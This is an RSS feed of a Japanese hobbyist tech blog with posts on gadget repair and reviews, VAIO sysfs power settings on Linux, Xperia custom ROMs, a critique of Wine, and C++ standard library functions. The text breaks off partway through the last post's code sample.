<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Tosainu Lab</title><description>とさいぬのブログです</description><link>https://myon.info/</link><item><title>WalkmanZを分解した 内部の掃除・内部スピーカの無効化</title><link>https://myon.info/blog/2014/01/13/entry/</link><guid isPermaLink="true">https://myon.info/blog/2014/01/13/entry/</guid><pubDate>Mon, 13 Jan 2014 00:00:00 GMT</pubDate><content:encoded>どーもですん

&amp;nbsp;

WalkmanZのカテゴリ、初の記事になります。


![](./Screenshot_from_2014-01-13_11:40:10.png)


カテゴリを作ったのはかなり前ですが・・・

&amp;nbsp;

実は僕WalkmanZ持ってるんですよね。

2012年正月、クリスマスにもらった商品券やお年玉を持って名古屋に出かけたのはいい思い出です。

Tegra2ｱｧｯｯって人もいますが、当時DualCoreで3万円代で買え、かつ信頼できるメーカのAndroid端末はこれくらいだったものです。

当時のスマートフォンはシングルコア端末がまだたくさんありましたしね。

&amp;nbsp;

さて本題。

これで数年目になるWalkmanZですが、いろいろ不調が出てきたのです。

* 電源ボタンの反応が異常に悪い
* イヤホンジャックの接触不良とガタつき

もう保証期間過ぎてますし、root権限取得なんかで保証もクソもないので、分解してみることにしました。

&lt;!--more--&gt;

## 分解する

WMポート上部の細長い蓋を開けるとネジが出てきます。


![](./IMG_1466.JPG)


このネジを外し、裏蓋を持ち上げるようにすると外れます。

ただし、電源ボタン側の裏蓋は両面テープで固定されているようで、少し力を入れないと外れません。


![](./IMG_1467.JPG)


ホコリがヤバイです。


![](./IMG_1468.JPG)


電源ボタン付近、とても大きなホコリが出てきました。

反応の悪さの原因はこれでしょう。


![](./IMG_1470.JPG)


## 本体内部でネジ発見！？

ホコリをエアダスターで吹いてると・・・


![](./IMG_1473.JPG)


&lt;span class=&quot;fontsize7&quot;&gt;！！！？？？&lt;/span&gt;

ネジが出てきましたwww

よく見ると、どうやらこれはイヤホンジャックを固定していたネジのようです。


![](./IMG_1474.JPG)


イヤホンジャックガタつき、どう考えてもこれですね・・・

ちゃんと元の場所に取り付けます。


![](./IMG_1479.JPG)


そして、ジャック内の汚れも、ティッシュで作ったこよりに接点復活剤を吹いたもので掃除しておきます。

接点復活剤には賛否ありますが、気にしてしまうほどの耳は持ってませんのでまぁいいでしょう。

## 内部スピーカの無効化

イヤホンジャックの接触が悪いこともあり、こんなことが結構頻繁に起きてるんですよね。

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-partner=&quot;tweetdeck&quot;&gt;&lt;p&gt;アレな音楽聞いてるわけじゃないけど、時々電車の中でスピーカーから音楽流してしまい焦る&lt;/p&gt;&amp;mdash; とさいぬ (;ﾞ＞&amp;#39;ω＜&amp;#39;):  (@tosainu_3930k) &lt;a href=&quot;https://twitter.com/tosainu_3930k/statuses/422554114862510080&quot;&gt;January 13, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

いい機会だし、内部スピーカの配線を取り外てしまいます。

こんな感じにスピーカの線を下に折り込みました。


![](./IMG_1480.JPG)


外さなかった理由は、スピーカを固定するネジ穴が基板上のSONYロゴ右上のネジ穴と共有しており、高さが合わなくなってしまうためです。

## 結果

大成功です、もう感動。

ガタつき、接触不良が改善したほか、明らかに音の迫力が増しました。(というよりは「新品の頃に戻った？」)

いやー本当にヤバイ、分解してよかった。

&amp;nbsp;

分解した感想ですが、WalkmanZ内部のネジ、全体的にかなり緩めでした。

おそらく長年の使用によるものだとは思いますが・・・・

&amp;nbsp;

&amp;nbsp;

それにしても・・・


![](./IMG_1462.JPG)


キズ増えたな・・・(´・ω・｀)</content:encoded></item><item><title>VAIOに入れたLinuxで静音モードやバッテリーケアを有効にする</title><link>https://myon.info/blog/2014/01/15/entry/</link><guid isPermaLink="true">https://myon.info/blog/2014/01/15/entry/</guid><pubDate>Wed, 15 Jan 2014 00:00:00 GMT</pubDate><content:encoded>どーもです

&amp;nbsp;

VAIO ZにArch Linuxを入れて幸せなのですが、

&lt;span class=&quot;fontsize6&quot;&gt;「バッテリーがあまり保たない」&lt;/span&gt;

んですよね。

（と言ってもVim+Chrome動かしている程度で2.5hは保ちますけど）

&amp;nbsp;

何とかならないかなーと調べていると、

&lt;a href=&quot;http://simon.schllng.de/2013/10/31/battery-care-limit-ubuntu-sony-vaio-pro/?lang=en&quot;&gt;Set battery charging limit in Ubuntu on Sony VAIO Pro | simon.schllng.de&lt;/a&gt;

という記事を見つけました。

ここに書いてあるのはバッテリーの充電量に制限をかける「バッテリーケア」の方法なのですが、

どうも/sys/devices/platform/sony-laptop/内のファイルがVAIO固有の設定するものらしく、弄っていると静音モードやバッテリーケアの有効化に成功したのでメモしておきます。

## 動作モードの変更


![](./Untitled.png)


Windowsの付属ソフトに「VAIO Control Center」ってのがありますが、その中の設定項目である電源オプションの設定は

```
/sys/devices/platform/sony-laptop/thermal_control
```

のようです。

選択できる値がこんな感じに確認できるので、

```
$ cat /sys/devices/platform/sony-laptop/thermal_profiles
balanced silent performance
```

例えばsilentモードにしたいときはこうしてやります。

```
$ echo silent | sudo tee /sys/devices/platform/sony-laptop/thermal_control
```

## バッテリーケア(充電量の制限)

充電量の制限の設定ファイルは

```
/sys/devices/platform/sony-laptop/thermal_control
```

のようです。

Max80％にしたいというときはこうします。

```
$ echo 80 | sudo tee /sys/devices/platform/sony-laptop/battery_care_limiter
```

## タッチパッドの有効無効

これも同様にこんな感じにできます。

```
// 無効
$ echo 0 | sudo tee /sys/devices/platform/sony-laptop/touchpad 
0
// 有効
$ echo 1 | sudo tee /sys/devices/platform/sony-laptop/touchpad
1
```

## これらを起動時に有効にする

Arch Linuxの場合、これらの設定項目をShellScriptでまとめてSystemdのサービスとして実行させることで起動時に有効にすることができます。

僕は、

&lt;a href=&quot;http://ssig33.com/text/VAIO%20Pro%20%E3%82%92%20Linux%20%E3%81%A7&quot;&gt;ssig33.com - VAIO Pro を Linux で使う + バッテリー延命&lt;/a&gt;

を参考にして、このようなファイルを起動時に設定しました。

&lt;a href=&quot;https://gist.github.com/Tosainu/8419179&quot;&gt;Tosainu / powersave&lt;/a&gt;

powersaveを/usr/sbinに置き、

```
$ sudo chmod +x /usr/sbin/powersave
```

等で実行権限を与えてやります。

powersave.serviceは/etc/systemd/system/に置き、

```
$ sudo systemctl enable powersave.service
```

とすれば起動時に実行できるようになるはずです。

&amp;nbsp;

他にもいろいろありましたが、全ては検証できませんでした。

いろいろ試してみるといいかもしれませんね。

&amp;nbsp;

さて、これでバッテリーの保ちがどう変わってくるか.....気になりますねえ</content:encoded></item><item><title>ケースをAntec P100に替えてしまいました</title><link>https://myon.info/blog/2014/03/07/entry/</link><guid isPermaLink="true">https://myon.info/blog/2014/03/07/entry/</guid><pubDate>Fri, 07 Mar 2014 00:00:00 GMT</pubDate><content:encoded>どーもです。


![](./IMG_1631.JPG)



![](./IMG_1632.JPG)


はい、買ってしまいました。

消費税増税とかあるからね。

&amp;nbsp;

&lt;!--more--&gt;

## そもそもなんでケース交換したのさ？

&gt; とさいぬは激怒した。必ず、かのCorsairのケースを除かなければならぬと決意した。
&gt; とさいぬは、ただの学生である。PCを立ち上げ、コードだけ書いてきた。
&gt; けれどもケースの工作精度に対しては、人一倍に敏感であった。

はい、くだらないネタすいませんw

でも何度でも言います、

「Corsairのケースはクソ、二度と使いたくない」

* 初期不良の多さ
* 各所に目立つ作りの悪さ
* HDDマウンタがゴミ
* 硬すぎる電源ボタン

もう我慢できませんでした。

* 丈夫なHDDマウンタ
* そこそこ作りがしっかりしている
* FrontI/Oはすべて正面に
* 比較的安価である

を満たすケースがないかと探していたところ、たまたまRSS購読中に見つけた&quot;Antec P100&quot;の文字。

レビューサイト等に目を通し、また以前からAntecケースを一度使いたいと思っていたこともあり一目惚れ。

今回購入を決意しました。

&amp;nbsp;

## 大きさ
並べてみるとこんな感じです。


![](./IMG_1647.JPG)



![](./IMG_1648.JPG)


若干小さくなったかな〜って感じです。

&amp;nbsp;

## 気に入ったところ

### HDDマウンタ
Corsairケースで失敗したせいもあって、僕がケースを選ぶときはまずHDDマウンタを見ます。

まずトレイ、上がCorsair、下がAntecです。

見てくださいこの厚さの違い！丈夫さが全然違います。


![](./IMG_1646.JPG)



![](./IMG_1645.JPG)


そして何よりベイ自体の丈夫さ。


![](./IMG_1649.JPG)


Corsairのケースでは配置が変更できる分、マウンタは購入時から平行四辺形です。

あの5万もするぼったくりケース900D、アレでさえも歪んでいます、要注意。

それに対してAntec P100、見ての通り丈夫な作りをしています。


![](./IMG_1637.JPG)


トレイが「カシャッ」としっかり固定されるのもびっくりしました。

&amp;nbsp;

### 静音性
650Dはうるさいというか、HDDマウンタがカスいせいで共振がとても気になりました。

それに対してのP100、本当に驚きました。「これが本当に中身の同じPCなのか」と。

すごく静かです。


![](./IMG_1640.JPG)


電源を設置する場所に張り付けられたゴムシート、HDDマウンタに付いた丈夫なゴム、そして丈夫な足、ケース側面に貼られたスポンジなど、防音のための機構がいくつもありいい感じです。


![](./IMG_1642.JPG)



![](./IMG_1641.JPG)


&amp;nbsp;

### デザイン
正面から見えるのはフロントIOパネルのみと、とてもシンプルで良いです。

どうも最近良く見るケースは厨二臭かったり、無駄なギミックがついてたりと、ピンとくるものがなかったんですよね。

可動部分が多かったり凸凹が多いと、その部分にホコリ等が溜ってしまうじゃないですか。あれがどうしても許せなかったんです。


![](./IMG_1633.JPG)



![](./IMG_1634.JPG)


&amp;nbsp;

### その他
650Dの内部のケーブル、全部黒で統一されていたんです。

もちろん、目立ちにくく見栄えも良くなってよかったのですが、HDD-LEDのコネクタ、なんと極性表示無し！！

P100の一目見て極性のわかるケーブルには涙が出そうになりました。


![](./IMG_1607.JPG)


ほか、フロントIOのオーディオケーブルがHD AudioとAC&apos;97の両対応だったり、USB3.0と2.0両対応だったりと、旧世代パーツにも何気に対応していて驚きました。


![](./IMG_1613.JPG)


裏のスペースも結構広く、余裕を持った裏配線ができると思います。


![](./IMG_1625.JPG)


&amp;nbsp;

## 少し微妙だなと思ったところ

### ペラい
ペラいです。サイドパネルだとかがペラいのはまだしも、M/B置くところに力を加えるとたわんだり、上部ファン取付部分が凹んでいたりでちょっとなぁ〜って感じです。

&amp;nbsp;

### ネジがわかりにくい
取説の記述もなく迷いました。忘備録も兼ねてメモしておきます。


![](./IMG_1609.JPG)


左から、

* わからない(多分ファン)
* フロントファン
* HDD固定用
* 拡張スロット・電源
* M/B固定
* 5インチベイ固定
* SSD固定
* M/B固定(ケース側)

です。

&amp;nbsp;

いやぁ、本当に良いケースです。買い替えてよかった！

&amp;nbsp;

【ゆるぼ】一部改造跡あり650Dを流す先</content:encoded></item><item><title>(✿╹◡╹)ﾉ</title><link>https://myon.info/blog/2014/03/29/entry/</link><guid isPermaLink="true">https://myon.info/blog/2014/03/29/entry/</guid><pubDate>Sat, 29 Mar 2014 00:00:00 GMT</pubDate><content:encoded>近所にて  

![](./IMG_1680.JPG)</content:encoded></item><item><title>Android 4.4 KitKat on Xperia Ray</title><link>https://myon.info/blog/2014/07/05/xperiaray-kk/</link><guid isPermaLink="true">https://myon.info/blog/2014/07/05/xperiaray-kk/</guid><pubDate>Sat, 05 Jul 2014 00:00:00 GMT</pubDate><content:encoded>前回の記事

* [Ubuntu Touch on XPERIA Ray](http://tosainu.wktk.so/view/295)
* [Android 4.4 KitKat on Xperia Ray](http://tosainu.wktk.so/view/333)

どーも.  
木曜の授業中に背中の痛みと息苦しさを訴え病院に行ったところ &quot;軽い気胸&quot; と診断されたとさいぬです.  
現在は激しい痛みもなくなりましたが, 気胸特有の違和感は消えませんねぇ....

さてさて, 早い段階からXperia2011にKitKatの移植に成功していた[LegacyXperia Project](http://legacyxperia.github.io/)グループですが, 気づかないうちにどんどん更新されているのに気づきまして, 昨年12月末のレビューに続き, 今回もXperia RayにKitKatを焼いてみました.

## Info

もう世の中はSony Xperiaというニセエクスペリアばっかりですので, ここで改めてXperia 2011の紹介を軽くしたいと思います.

実験端末
:   Sony Ericsson Xperia Ray

**Spec**

* Qualcomm Snapdragon MSM8255 1GHz Single
* 512MB RAM
* 3.3 inches 480 x 854 pixels Display
* 100[g]
* 3G/2g通信
* 海外で公式ICSファームウェアが公開されるも日本ではGB止まり
* CyanogenMod公式はCM10-nightlyが公開されるもサポート中止

今回は6/20に公開されたファームウェアを使いましたが, 7/3にまた新しくファームウェアが更新されています.

## Video

&lt;div class=&quot;video-container&quot;&gt;&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/OK8Kvb9O10U?rel=0&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;

&lt;!--more--&gt;

## Impressions

前回のファームウェアでは確認できませんでしたが, 今回はARTモードを使って起動することに成功しました.  
開発者設定から &quot;Use ART&quot; を選択し再起動, 2,30分掛かりますw.

ARTモードでは非常に快適に動作し, CPUは1.4GHzにオーバークロックしているもののベンチマークでは1.6GHz以上に相当するほどのスコアを出すことが出来ました. CPUのスコアは1500程度も向上しているので驚きです.

![dalvik](./Screenshot_2014-06-30-21-14-51.png &quot;dalvik&quot;)  
![art](./Screenshot_2014-06-30-21-37-08.png &quot;art&quot;)

しかしながらARTモードで動作させるのにも欠点がありまして.  
まず, Androidは内部でapkファイルをインストールすると端末に最適化されたdexファイルを生成します. これがdalvik-cacheと呼ばれるわけです.  
ARTで起動させた場合, この中間ファイルがdalvikと比べ少々容量が大きくなるようで, ただでさえ少ない内蔵ストレージを圧迫します.  
画像のようにTwitterクライアントと日本語IMEを入れることしかできないような状態です. もちろん, システムアプリのアップデートなどできる訳ありません.  
![In](./Screenshot_2014-07-04-10-17-00.png &quot;In&quot;)

さらに, 以前のバージョンであればS2E等のアプリによりSDカード上に作成したext4パーティションにデータを移す等のことも出来ましたが, KitKatでは未対応らしくそれらの手段も難しいと思われます. (すべて確認したわけではないが)  
僕は今のところ大きな不満もなく使っていますが, アプリをガンガン入れたい方にはARTは厳しいかもしれません.

その他の面に関しては高評価で, 特に前回のレビューの時に確認されたブラウザの動作が非常に思いなどのバグも解消され, また3G通信, 通話なども問題なくでき, 十分実用レベルに達しているということに驚くばかりです. LegacyXperiaさんヤベェわマジで.

僕も同じXperia2011ファンとしてこっちの方に仲間入りしたいと思うばかりです. 技量をつけなければ.

ではでは〜</content:encoded></item><item><title>(株)パソコンファームさんにCRTモニタを無料で回収していただけたおはなし</title><link>https://myon.info/blog/2014/07/19/pc_farm/</link><guid isPermaLink="true">https://myon.info/blog/2014/07/19/pc_farm/</guid><pubDate>Sat, 19 Jul 2014 00:00:00 GMT</pubDate><content:encoded>どもども.  
夏休み1週間目, 早くも体調を崩したうえに寝付きも悪くてアレなとさいぬです.

ブラウン管ディスプレイ, 現役ならまだしも使わなくなってしまうと邪魔で仕方ありませんね.  
処分しようにも, リサイクル料が何だかんだで馬鹿高くなるどころか引き取ってもらえない場合もあるようです.

さて, 僕の部屋にも17型のCRTがありました. Windows95が入ったPCを友人氏からもらった時についてきたやつです.  
以前はメインのモニタとしてこのCRTを使っていましたが, [昨年液晶ディスプレイを買って](http://tosainu.wktk.so/view/270)以来はただ邪魔な置物と化していました.  
![crt](./IMG_1976.JPG)

何とか処分できないものかと探していると, [パソコンファーム](http://www.highbridge-computer.jp/recycle/)なる業者さんを発見, しかも期間限定企画で**対象製品が1つあれば送料無料**なんて凄いことをやってるじゃありませんか!!  
ってことで早速お願いしてきました.

## 対象製品

今回の企画では対象となる製品が1台以上含まれていないといけないようです.  
そこで, 電源周りが逝ったのか起動後しばらくすると落ちてしまうようになってしまった白VAIOたん(VGN-CR52B),  
![vaio](./IMG_1978.JPG)

そして使い道もなくジャンク屋で買ってしまった天板がパカパカのHP製ノート(通称: ヒューレット**パッカーン**ド)  
![hp](./IMG_1981.JPG)

その他CPUクーラー数個と[315円のDVDプレイヤー](http://tosainu.wktk.so/view/198)一緒に送ることにしました.

白VAIOたんはもう手に入らないSony製VAIOですし, 個人的に好きなモデルでもあったことから手放したくなかったのですが, 銀色塗装部分の激しい青錆や電源が落ちる問題でPCとして使えないような状態になってしまったことから仕方ない... うぅ....｡ﾟ(ﾟ´Д｀ﾟ)ﾟ｡

## 梱包
近所のホームセンターにて8mm厚の丈夫な箱を購入(500yenちょっと).  
なんとか詰めることが出来ました.

しかし!!  
なんと制限である25kgを上回ってしまいました.

仕方ないので企画は諦め送料負担で送ることに...

## んで,

さっきヤマトに出してきました. 愛知からは送料1,675円(だったと思う)でした.  
市の決められた処分方法に従うよりうんと安いですね!

ではではー</content:encoded></item><item><title>Xperia2011年モデル改造まとめ</title><link>https://myon.info/blog/2014/09/26/xperia2011_modding_guide/</link><guid isPermaLink="true">https://myon.info/blog/2014/09/26/xperia2011_modding_guide/</guid><pubDate>Fri, 26 Sep 2014 00:00:00 GMT</pubDate><content:encoded>SoftBank銀SIMで使えるXperia Arcの入手から, その後遊んだことについてまとめてみた.

## まず
2012年から書いてきたXperia2011弄り方まとめを前ブログから持ってきました.  
今後も少しづつ記事を増やしていければなと思う.

## 注意！！！

ここに書かれていることは, 結構危険な内容も含まれています.  
場合によっては端末が起動しなくなったりすることがあるかもしれませんので注意してください.

尚, ここで紹介しているのはXperia2011年モデルでのやり方です.
最近の端末では, 特にブートローダーアンロック以降のやり方は結構変わっているようなので, 参考にする場合などは注意してください。

## 端末の入手

端末はAmazonで購入した.  
Xperiaと検索して絞ると, 白ロムのArcとAcroや, その海外モデルが12,000円程から販売されているのを発見.

やっぱり, 現時点で安全に楽しく遊べる携帯はXperiaの2011年モデルだと思うんですよ.  
今となっては性能はあまり高い機種ではなくなってしまいましたが...

SoftBankと帯域が同じなところや, 有名なカスタムROMである**CyanogenMod**の公式対応(注: 現在は公式サポートは切れています)などから購入機種はArcにした.

また, SIMフリー化が面倒くさそうだったのでSIMフリー加工済みの機種を購入(2012/7/15)した.

**注: これから思いっきり弄りたい方はSIMフリー加工されていないものの購入をおすすめします**  
(Bootloader Unlockが失敗して文鎮化する恐れがあるため)

## 届いた
端末は2012/7/16の午前中に届いた. 予定は19日だったのでびっくり.

![arc](./DSC061362.jpg)

docomoの袋付きで笑ったw

## もくじ

1. [root権限取得可能なファームウェアを書き込む](/blog/2013/01/08/xperia2011_flash_rootable_rom/)
2. [2011Xperia(Android2.3.4)のroot権限の取得](/blog/2013/01/08/xperia2011_rooting/)
3. [カスタムリカバリの導入](/blog/2013/01/08/xperia2011_flash_custom_recovery/)
4. [Omniusで国内ペリアをアンロック](/blog/2013/03/09/xperia2011_bootloader_unlock_with_omnius/)
5. [カスタムカーネルを書き込んでみる](/blog/2013/03/09/xperia2011_flash_custom_kernel/)
6. [カスタムROMを書き込んでみる](/blog/2013/06/29/xperia2011_flash_custom_rom/)</content:encoded></item><item><title>必読! Ubuntuをインストールしたら入れたいソフト5選</title><link>https://myon.info/blog/2014/11/21/5_things_to_do_after_installing_ubuntu/</link><guid isPermaLink="true">https://myon.info/blog/2014/11/21/5_things_to_do_after_installing_ubuntu/</guid><pubDate>Fri, 21 Nov 2014 00:00:00 GMT</pubDate><content:encoded>## はじめに

ここ最近, WindowsのUI/UXの大幅変更があってからくらいでしょうか.  
有名な雑誌にまでもUbuntuの紹介があったりで, WindowsユーザだったけどUbuntu使ってみようかなと思った方が少なからずとも増えていると思います.

とはいえ, **インストールしたけど何すりゃいいんじゃ!!** って方も多いと思います.  
そこで, 今回はよりUbuntuを使いこなすためのソフトウェアを5つ紹介したいと思います.

**重要:** この記事には**重要なまとめ**が最後にあります. **絶対**に最後まで読んでください.

&lt;!--more--&gt;

## 5位: Chromium

![chromium](./Chromium_11_Logo.png)

ブラウザは重要ですよね. せっかく新しくUbuntuを入れたにもかかわらず, 何をしてよいのかをググることができませんからね.

Chromiumは, あの有名なGoogle ChromeのOpensource版です. 名前は違いますが, 操作はほとんど同じですので戸惑うことは無いと思います.

また, 違うブラウザの選択肢としてFirefoxなどもUbuntuでは使うことができます.

**重要:** この記事には**重要なまとめ**が最後にあります. **絶対**に最後まで読んでください.

## 4位: LibreOffice

![LibreOffice](./LibreOffice_external_logo.png)

いわゆる互換オフィスとか呼ばれることもあるソフトです. もしかしたらWindowsでも使っていたことのある方は多いんじゃないでしょうか.

レポート作成だとかデータ整理はもちろん, ドット絵作成, 作図, 動画作成, スクリーンショットを整理するお仕事なんかで必須ですよね!

**重要:** この記事には**重要なまとめ**が最後にあります. **絶対**に最後まで読んでください.

## 3位: Vim

![Vim](./Vimlogo.png)

Ubuntu入れたらなんかプログラミングしたくなった!! とかはよくありますよね.  
そうでなくても, 設定ファイルの編集なんかで &quot;一番いいエディタを頼む&quot; なんて状況には絶対に遭遇すると思います.

そんな時におすすめしたいのがVimです.  
最初は戸惑うかもしれませんが, 触っていればすぐにこのエディタの強力さに惚れると思います.

**重要:** この記事には**重要なまとめ**が最後にあります. **絶対**に最後まで読んでください.

## 2位: mari0

![mari0](./Mari0_video_game_logo.png)

やっぱりゲームしたくなりますよね.  
よく &quot;Linuxにはゲームが無い&quot; とか言われたりしますが, そんなことはないです.

mari0は, 某社のマリ○に似せたゲームです.

ほかにもUbuntuにゲームはいっぱいありますし, 最近はSteamで結構有名なゲームも動いたりするようです.

**重要:** この記事には**重要なまとめ**が最後にあります. **絶対**に最後まで読んでください.

## 1位: Wine

![wine](./WINE-Logo.png)

さて, Linuxにもゲームがあることはわかっていただけたと思います.

しかし, きっと紳士の方々は &quot;あのえっちゲーが動かないＯＳなんかクソだ!!!!&quot; と自家発電できないことのストレスからキーボードクラッシャーしてしまうかもしれません.  
また, えっちゲーに興味ない方でも, 定期的にiなんとかのインストールされたPCに接続しないといけない携帯を使ってる方なんかも &quot;iなんとかが動かないＯＳなんてクソだ!!!!&quot; と怒りのあまり端末割れ厨になってしまうかもしれません.

お待ちください, Wineがあります. もはやWineは &quot;Ubuntuを入れたら絶対いれたいソフト&quot; の中でもトップと言って...........

**重要:** この記事には**重要なまとめ**が最後にあります. **絶対**に最後まで読んでください.

......

......

.....

.....

....

....

...

...

..

..

.

.

.

.

..

..

...

...

....

....

.....

.....

......

......

## 本題

まぁわかる人にはわかると思いますが, 僕がこんな記事書くわけ無いです.  
まず, 上で挙げたことは全て忘れてください. 八割以上適当ですし, 順位付けもそれっぽい記事に見せるためだけのもので意味は全く無いです.

僕はここ最近, どうも謎で仕方ないことがあります.

最近Twitterをはじめ, 周りでUbuntuをはじめとするLinuxディストリビューションに手を出しているWindowsユーザがそれなりにいます.  
しかし, どうにも不思議なことに, その大半の方々がWineでWindowsアプリケーションを動かすのを最終目標にしているかのような環境構築を行っているのです.

昨晩の僕のこの発言も, ちょうどTLでUbuntuにWineを入れるのに苦戦している方がいて, その流れからかWineの話題でいっぱいだったのが原因でもあります.  
&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-partner=&quot;tweetdeck&quot;&gt;&lt;p&gt;Wineが &amp;quot;Ubuntuインストールしたら入れたい定番ソフトn選&amp;quot; みたいなのの一つになってるの個人的に謎&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/535391010663063552&quot;&gt;November 20, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

## 結局Wineって何なのか

Wineは, \*nix系OSにおいてWindowsアプリケーションを動作させることを目標としているソフトウェア群です.

しかし, Wineは**W**ine **I**s **N**ot an **E**mulatorとも言われたりすることがあるように, 基本的にCPUエミュレーションを行わず, オープンソースによるWindows API互換システムを構築することによってネイティブ動作を実現しようとしているのです.

もちろんまだ不完全ではあるのですが, プロジェクト公式ページにある[AppDB](https://appdb.winehq.org/)を覗いてみるとかなり多くのアプリケーションの動作が報告されています.


## 結局Wineは必要なのか

僕は**No**だと思っています.

まず, そこまでして動かしたいWindowsアプリケーションがあるのに, 何故にLinuxを導入しているのでしょうか.  
大半の市販のPCはWindowsがプリインストールされていますし, 学生であればエディションに癖はあるもののWindowsは簡単に入手できますし, 普及率からしてもたいていの方はWindowsのPCを持っているはずです.  
それなのに, なぜわざわざ完全に動作する保証もないWineでWindowsアプリケーションを動かす必要があるのでしょうか.

第二に, Wineが完全ではないということです.  
先に述べたように, WineはWindows API互換のシステムを\*nix上に作るという何とも特殊なことをやっているわけです. もちろん技術としては凄いのですが, 故にWindowsアプリケーションが完全動作するわけでもなく, またシステム自体に何らかのトラブルを起こすことだって0ではありません.  
特に, そんなWineに**Ubuntu入れたら絶対いれたいソフト**といった印象が付いてしまってるのは大きな問題ではないかと個人的に思っています.

最後に, せっかくLinuxに手を出したなら, まずはLinuxネイティブアプリケーションをまず使ってもらいたいなというのがあります.  
Linuxを入れてまずWineというのは, Macを買ってまずWindows向け重量級ゲームだとか, Windowsを買ってまずXcodeとか, 普通ならありえないことをやるようなものではないでしょうか.  
せっかくLinuxを入れたんだし, いきなりそんなことセずに, まずはネイティブアプリケーションを使ってもらいたいです.  
&quot;LinuxでMSオフィスが使いたい&quot; とかじゃなく, &quot;今までMSオフィスでやってきたこと, Linuxだとどうやるんだろう&quot; とか,
&quot;LinuxでAviutlが使いたい&quot; とかじゃなく, &quot;今までAviutlでやってきたこと, Linuxだとどうやるんだろう&quot; とか,  
そんな感じに, まず **Linuxだとどうやるんだろう** って感じに調べてもらえるといいなと思います.  
絶対にそのほうが快適なLinux環境が組めるはずです.

もしこれらが難しいのであれば, あなたはまだWindowsに大きく依存しているのでLinuxを使うのが難しい, 無理に使う必要はないってことです.

## 最後に

散々WineをDisった気がしますが, 僕自身Wineを否定しているわけではありませんし, Wine技術自体は本当に凄いと思っています.  
しかし, 本当にこのWineが定番ソフト扱いの現状に納得できずこんな記事を書かせていただきました.</content:encoded></item><item><title>SHURE SE315を買いました</title><link>https://myon.info/blog/2014/11/29/shure_se315/</link><guid isPermaLink="true">https://myon.info/blog/2014/11/29/shure_se315/</guid><pubDate>Sat, 29 Nov 2014 00:00:00 GMT</pubDate><content:encoded>どもども.

[以前視聴](/blog/2014/05/06/entry/)してからずっと気になっていたイヤホン, SHURE SE315を購入しました!!!  
![box](./IMG_2595.JPG)  
![se315](./IMG_2608.JPG)

今までいろんなイヤホンを使ってきましたが, 実は自分で新品のイヤホンを購入するというのは初めてで, 注文から届くまでの2日間は非常に緊張でした.

開封直後は異様にこもったような音がするので心配でしたが, 5時間ほど流し込んだ程度でも十分いい感じになり, とりあえず期待通りの綺麗な音に満足しています.  
初めてのSHURE掛けには戸惑って片耳だけで5分かかったりもしましたが, 非常に安定しておりつけ心地もかなり良いです. この掛け方には早く慣れたいですね....

(付属テキストの言葉で)Sleeveの種類も多く, 暇さえあればいろいろ試してみたいなーとも思ったり.  
ただし, Sleeveを外すのに結構力がいる(外し方が悪いのかもしれないけど)のでちょっとこわいです.  
とりあえずSoft Foam Sleeveの中(デフォルト)を選択しました.  
![sleeves](./IMG_2610.JPG)

また, 今まで使ってきたイヤホンと比較しても明らかにケーブルやプラグ部分が丈夫そうで, 流石って感じです.  
ケーブルはちょっと重いかなって気もしましたが, まぁ大丈夫でしょう. 長さもいい感じです.  
![cable](./IMG_2609.JPG)

最高の買い物をしました. 大満足です.

んじゃ, とりあえず水曜からの定期テストを頑張りたいと思います. ではではー.</content:encoded></item><item><title>最近見つけたC++の便利な標準ライブラリいろいろ</title><link>https://myon.info/blog/2014/12/14/cpp_useful_standard_library/</link><guid isPermaLink="true">https://myon.info/blog/2014/12/14/cpp_useful_standard_library/</guid><pubDate>Sun, 14 Dec 2014 00:00:00 GMT</pubDate><content:encoded>みょん.

最近流行りの言語とかはあんなことも簡単にできるのか〜とか時々思ってしまうのですが, 実はC++の標準ライブラリにも結構便利な関数やクラスがいっぱい揃っているようです.  
今日は, 僕が最近見つけたC++の標準ライブラリの便利な奴らいろいろを紹介したいと思います.

※ 以下のコードはgcc-4.9.2とclang-3.5.0で動作確認しました. ｳﾞｨｽﾞｱﾙｺﾝﾊﾟｲﾗとかは知りません.

&lt;!--more--&gt;

## [std::stoi()](http://en.cppreference.com/w/cpp/string/basic_string/stol)

名前から察せるように, 文字列を数値に変換できる関数です. `#include &lt;string&gt;`すると使えるようになります.

```cpp
std::string s(&quot;10&quot;);
int x = std::stoi(s);

std::cout &lt;&lt; x &lt;&lt; std::endl; // 10
```

しかしこの関数, これだけじゃありません. この関数は以下のように定義されており,

```cpp
int stoi(const std::string&amp; str, std::size_t* pos = 0, int base = 10);
```

このように書くことで, 8進数や16進数の文字列を数値に変換することもできてしまいます!!!

```cpp
std::string oct(&quot;17&quot;);
int x = std::stoi(oct, nullptr, 8);
std::cout &lt;&lt; x &lt;&lt; std::endl; // 15

std::string hex(&quot;2a&quot;);
int y = std::stoi(hex, nullptr, 16);
std::cout &lt;&lt; y &lt;&lt; std::endl; // 42
```

これに関係する関数に, `long`に変換する`stol()`や`double`に変換する`stod()`などがあるようです.

## [std::isalnum()](http://en.cppreference.com/w/cpp/locale/isalnum)

引数に与えた文字がアルファベットか数字の時に`true`を返してくれる関数です. `cctype`や`locale`に定義されているようですが, `iostream`等をincludeすると一緒に読み込まれたりします.

この関数のおかげで, [某プログラム](https://github.com/Tosainu/twitpp/blob/3b5069e328452917ea0153c9dd12fd86358e462f/util/util.cc#L66-L80)のパーセントエンコーディングする部分が簡単に書けるようになりました.

```cpp
std::string url_encode(const std::string&amp; text) {
  std::ostringstream result;
  result.fill(&apos;0&apos;);
  result &lt;&lt; std::hex &lt;&lt; std::uppercase;

  for (auto&amp;&amp; c : text) {
